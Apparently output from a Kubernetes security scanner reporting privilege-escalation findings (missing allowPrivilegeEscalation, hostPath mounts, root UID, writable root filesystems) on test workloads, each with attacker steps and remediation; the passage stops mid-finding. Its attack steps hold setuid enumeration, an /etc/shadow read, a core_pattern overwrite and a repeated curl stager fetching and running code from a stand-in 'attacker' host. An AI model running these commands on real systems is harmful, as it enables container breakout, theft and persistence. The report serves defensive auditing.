Container app in Deployment/vulnerable/socket-mounts-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/local-path-storage/local-path-provisioner Workload 7.8
Container local-path-provisioner allows privilege escalation in Deployment/local-path-storage/local-path-provisioner
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Privilege Escalation Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n local-path-storage -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerlocal-path-provisioner
Show raw JSON
{
  "container": "local-path-provisioner"
}
HIGH Deployment/secrets-bundle/cross-ns-consumer Workload 7.8
Container pause allows privilege escalation in Deployment/secrets-bundle/cross-ns-consumer
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Privilege Escalation Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n secrets-bundle -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerpause
Show raw JSON
{
  "container": "pause"
}
HIGH

HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app

KUBE-HOSTPATH-001 1 subject Score 7.6
MITRE ATT&CK: T1611T1552.001T1083

Affected subject

HIGH Deployment/vulnerable/generic-hostpath-app Workload 7.6
HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Workload Deployment/vulnerable/generic-hostpath-app mounts host path /tmp/data via volume tmp-data. Generic hostPath usage breaks the container abstraction: the pod is now coupled to a specific node's filesystem layout, bypasses CSI quota/encryption/snapshotting, and creates a path-dependent attack surface that varies with the path mounted.

Even "benign" paths can be dangerous. /proc exposes the host's process tree (modify /proc/sys/kernel/core_pattern for root via crash). /sys lets a writable mount enable cgroup-release-agent escapes (CVE-2022-0492). /dev shared with the host gives raw block-device access. /etc/kubernetes contains kubelet config and PKI on control-plane nodes.

Even a mount of /etc (read-only) leaks /etc/shadow, ssh host_keys, kubeadm config, and CNI tokens. Kubernetes Pod Security Standards forbid hostPath at Baseline because there is no safe whitelist.

Impact Variable but always elevated risk: at minimum exposes node-specific files; commonly leaks credentials or enables privilege escalation depending on the path.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Identify the mounted path via mount or cat /proc/mounts from inside the pod.
  2. Enumerate sensitive contents. For /etc: cat /etc/shadow, /etc/kubernetes/admin.conf. For /proc: echo '|/tmp/x' > /proc/sys/kernel/core_pattern then trigger a crash.
  3. If writable, drop a payload, modify a config, or symlink-swap.
  4. Confirm impact with kdigger dig mount or deepce.sh -e.
  5. Persist via the path's owning daemon (cron under /etc, systemd unit under /lib/systemd, etc.).
Remediation
Replace hostPath with a managed alternative (CSI volume, ConfigMap, Secret, projected volume, or local PV).
  1. Determine why hostPath is used: config injection, log scraping, GPU device access. Each has a Kubernetes-native replacement.
  2. If hostPath is unavoidable, narrow path: to the smallest possible directory, set type: to the strictest matching value, and add readOnly: true on the volumeMount.
  3. Pair with runAsNonRoot: true, drop ALL capabilities, and allowPrivilegeEscalation: false.
  4. Enforce via PSA baseline (denies hostPath) or a Kyverno/Gatekeeper allowlist. Validate: kubectl get deployment/generic-hostpath-app -o yaml | grep -A3 hostPath.
Evidence
Volumetmp-data
Host path/tmp/data
Node root filesystem (full host takeover)
Show raw JSON
{
  "path": "/tmp/data",
  "volume": "tmp-data"
}
MEDIUM

Container app runs as root (UID 0) in Deployment/vulnerable/root-runner

KUBE-PODSEC-ROOT-001 1 subject Score 6.0
MITRE ATT&CK: T1611T1068T1548.001

Affected subject

MEDIUM Deployment/vulnerable/root-runner Workload 6.0
Container app runs as root (UID 0) in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner runs as UID 0, either via an explicit runAsUser: 0, an explicit runAsNonRoot: false, or by relying on the image's default user (which for most public images is root). Container UID 0 is mapped to host UID 0 by default (Linux user namespaces are still off-by-default in Kubernetes), so any kernel exploit, capability misuse, or volume-write vulnerability lands with full root privileges.

Running as root erodes every layer of in-container defense. A read-only root filesystem can be remounted (mount -o remount,rw) if CAP_SYS_ADMIN is held; a kernel CVE that requires root credentials in user-space (the runC "Leaky Vessels" CVE-2024-21626 class, the cgroup-release-agent CVE-2022-0492 class) becomes trivially exploitable; and bind-mounted directories owned by host root become writable.

The Pod Security Standards Restricted profile requires runAsNonRoot: true AND a runAsUser ≥ 1.

Impact All other in-pod hardening (read-only root, capability drops, seccomp) becomes one CVE away from full host compromise; container-CVE exploit reliability rises dramatically.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as root inside the container.
  2. Read all bind-mounted host files writable to root, including ConfigMaps and Secrets.
  3. Attempt a capability-bearing kernel exploit. For example, trigger CVE-2024-21626 (Leaky Vessels) by spawning a child with WORKDIR=/proc/self/fd/8 semantics.
  4. With CAP_SYS_ADMIN remount the root filesystem read-write and modify init scripts.
  5. Persist via dropped binaries in /usr/local/bin whose mounts may survive container restart.
Remediation
Run as a non-root UID (runAsUser: 10001, runAsNonRoot: true) and bake a non-root USER into the image.
  1. In the Dockerfile, add RUN groupadd -g 10001 app && useradd -u 10001 -g app -s /usr/sbin/nologin app and USER 10001. Verify the binary works (file permissions, port binding < 1024 needs NET_BIND_SERVICE).
  2. In the PodSpec, set securityContext.runAsNonRoot: true, runAsUser: 10001, runAsGroup: 10001, fsGroup: 10001.
  3. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], readOnlyRootFilesystem: true, seccompProfile.type: RuntimeDefault.
  4. Validate: kubectl exec <pod> -- id returns uid=10001; kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.runAsUser}' returns 10001.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM

Container api has a writable root filesystem in Deployment/flat-network/api

KUBE-PODSEC-READONLY-001 26 subjects Score 5.5
MITRE ATT&CK: T1611T1554T1543

Affected subjects (26)

MEDIUM Deployment/flat-network/api Workload 5.5
Container api has a writable root filesystem in Deployment/flat-network/api
Scope · Workload Workload Deployment/flat-network/api
Category: Privilege Escalation Resource: Deployment/flat-network/api Namespace: flat-network

Container api in Deployment/flat-network/api either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/api -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapi
Show raw JSON
{
  "container": "api"
}
MEDIUM DaemonSet/rbac-fixtures/daemon-app Workload 5.5
Container app has a writable root filesystem in DaemonSet/rbac-fixtures/daemon-app
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Privilege Escalation Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in DaemonSet/rbac-fixtures/daemon-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get daemonset/daemon-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.5
Container app has a writable root filesystem in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/irsa-admin-app Workload 5.5
Container app has a writable root filesystem in Deployment/cloud-eks-test/irsa-admin-app
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/irsa-admin-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-lifecycle
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-lifecycle -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-limits
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-limits either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
